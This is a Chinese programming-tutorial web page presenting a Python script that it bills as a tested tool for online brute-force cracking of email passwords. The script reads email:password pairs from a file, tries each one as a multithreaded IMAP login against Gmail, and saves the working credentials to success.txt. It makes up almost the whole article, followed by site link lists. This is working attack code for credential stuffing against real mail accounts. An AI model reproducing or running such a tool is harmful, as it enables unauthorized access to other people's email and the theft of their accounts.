Python实现在线暴力破解邮箱账号密码功能示例【测试可用】


Posted in Python onSeptember 06, 2017

本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:

dic 字典格式如下(mail.txt) :

username@gmail.com:password
username@gmail.com:password
username@gmail.com:password

以此类推,切记保存成utf-8编码格式。

放置在当前脚本目录,也可自己定义修改。

支持ssl https /imap协议。

# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading
# global variant
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function
def Write_Save_Success_Gmail_Jobs(indexSuccess):
  Success_File = open('success.txt', 'a')
  Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
  Success_File.close()
def Write_Save_Fail_Gmail_Jobs(indexFail):
  Fail_File = open('fail.txt', 'a')
  Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])
  Fail_File.close()
# define global function
def Get_Parser_Account_Pwd(Index):
 strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]
 strUserName, strPassWord = strAccountPwd.split(':', 1)
 return strUserName, strPassWord
# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
 global GLOBAL_WORKING_THREAD_MUTEX_LOCK
 global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
 if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:
  GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
  GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1
  print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
  print('IMAP INDEX-------', IndexGmail)
  print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
  Write_Save_Fail_Gmail_Jobs(IndexGmail)
  # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
  GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
  GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143
  stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
  try:
   ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
  except GmailImap4.error :
   print('Logical errors - debug required')
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  except GmailImap4.abort :
   print('Service errors - close and retry')
   GmailImap4.close()
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  except GmailImap4.readonly:
   print('Mailbox status changed to read only')
   GmailImap4.close()
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
   return
  if (ResponseStatus[0] == 'OK'):
   print('LOGIN SUCCESS')
   Write_Save_Success_Gmail_Jobs(IndexGmail)
   GmailImap4.logout()
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
  else:
   GmailImap4.close()
   print('LOGIN FAIL')
   print(ResponseStatus)
   Write_Save_Fail_Gmail_Jobs(IndexGmail)
   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
 else:
  return
# define global function
class Working_Zone_Thread(threading.Thread):
 m_IndexStart = 0
 m_IndexEnd = 0
 def __init__(self, numEnd):
  self.m_IndexEnd = numEnd
  threading.Thread.__init__(self)
 def run(self): # run process
  while True:
   if self.m_IndexStart < self.m_IndexEnd:
    Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)
    self.m_IndexStart = self.m_IndexStart + 1
   else:
    break
 def _delete(self):
  threading.Thread._delete(self)
  print('thread delete is : ', self.getName())
# define read function
def Read_Send_Single_Func():
 IndexStart = 0
 print('--------read----star--')
 global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM
 global GMAIL_BYTES_READED_TOTAL_SIZE
 global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY
 File_Read = open('mail.txt', 'r', encoding='UTF-8')
 File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek
 while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:
  line = File_Read.readline()
  if line:
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)
   CbBytes = line.__len__()
   GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1
   IndexStart = IndexStart + 1
  else:
   GLOBAL_READ_FINISH_STATUS_SUCCESS = True
   break
 print('gmail read num ', IndexStart)
 File_Read.close()
 print('---------read----end--')
# main entry
if __name__ == '__main__':
 print('Main Thread Start : ')
 while True:
  if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:
   Read_Send_Single_Func()
   wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)
   wzt.start()
   wzt.join()
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()
  else:
   print('data has run out : ')
   break
 print('Main Thread End : ')

更多关于Python相关内容可查看本站专题:《Python Socket编程技巧总结》、《Python数据结构与算法教程》、《Python函数使用技巧总结》、《Python字符串操作技巧汇总》、《Python入门与进阶经典教程》及《Python文件与目录操作技巧汇总》

希望本文所述对大家Python程序设计有所帮助。

Python 相关文章推荐
python检查URL是否正常访问的小技巧
Feb 25 Python
python脚本爬取字体文件的实现方法
Apr 29 Python
Python编程实现控制cmd命令行显示颜色的方法示例
Aug 14 Python
Python如何实现MySQL实例初始化详解
Nov 06 Python
Python图像处理之gif动态图的解析与合成操作详解
Dec 30 Python
对Python Class之间函数的调用关系详解
Jan 23 Python
Python字典遍历操作实例小结
Mar 05 Python
python定时按日期备份MySQL数据并压缩
Apr 19 Python
解决python中导入win32com.client出错的问题
Jul 26 Python
Python 异步协程函数原理及实例详解
Nov 13 Python
Python : turtle色彩控制实例详解
Jan 19 Python
Python同时迭代多个序列的方法
Jul 28 Python
Python基于回溯法子集树模板解决旅行商问题(TSP)实例
Sep 05 #Python
Python基于回溯法子集树模板实现图的遍历功能示例
Sep 05 #Python
Python数据结构与算法之图结构(Graph)实例分析
Sep 05 #Python
利用Python将时间或时间间隔转为ISO 8601格式方法示例
Sep 05 #Python
python进程管理工具supervisor的安装与使用教程
Sep 05 #Python
基于Django模板中的数字自增(详解)
Sep 05 #Python
用python结合jieba和wordcloud实现词云效果
Sep 05 #Python
You might like
又一个php 分页类实现代码
2009/12/03 PHP
Discuz论坛密码与密保加密规则
2016/12/19 PHP
PHP二维数组实现去除重复项的方法【保留各个键值】
2017/12/21 PHP
取键盘键位ASCII码的网页
2007/07/30 Javascript
JS 密码强度验证(兼容IE,火狐,谷歌)
2010/03/15 Javascript
jquery.AutoComplete.js中文修正版(支持firefox)
2010/04/09 Javascript
Web前端设计模式  制作漂亮的弹出层
2010/10/29 Javascript
在父页面调用子页面的JS方法
2013/09/29 Javascript
chrome不支持form.submit的解决方案
2015/04/28 Javascript
jQuery实现分章节锚点“回到顶部”动画特效代码
2015/10/23 Javascript
JavaScript代码生成PDF文件的方法
2016/02/26 Javascript
原生js的数组除重复简单实例
2016/05/24 Javascript
第一次接触神奇的Bootstrap基础排版
2016/07/26 Javascript
js删除数组元素、清空数组的简单方法(必看)
2016/07/27 Javascript
微信小程序链接传参并跳转新页面
2016/11/29 Javascript
总结几道关于Node.js的面试问题
2017/01/11 Javascript
JavaScript通过mouseover()实现图片变大效果的示例
2017/12/20 Javascript
JS 实现百度搜索功能
2018/02/01 Javascript
js实现图片推拉门效果代码实例
2019/05/18 Javascript
Python实现k-means算法
2018/02/23 Python
Selenium定时刷新网页的实现代码
2018/10/31 Python
Python画图实现同一结点多个柱状图的示例
2019/07/07 Python
Python处理session的方法整理
2019/08/29 Python
python的pyecharts绘制各种图表详细(附代码)
2019/11/11 Python
Python基于Tensor FLow的图像处理操作详解
2020/01/15 Python
Django中从mysql数据库中获取数据传到echarts方式
2020/04/07 Python
python的reverse函数翻转结果为None的问题
2020/05/11 Python
HTML5探秘:用requestAnimationFrame优化Web动画
2018/06/03 HTML / CSS
个人对照检查材料
2014/02/12 职场文书
教师师德反思材料
2014/02/15 职场文书
计算机毕业生自荐信范文
2014/03/23 职场文书
捐款倡议书
2014/04/14 职场文书
幼儿园大班家长评语
2014/04/17 职场文书
餐厅感恩节活动策划方案
2014/10/11 职场文书
2014年教育培训工作总结
2014/12/08 职场文书
财务个人年度总结范文
2015/02/26 职场文书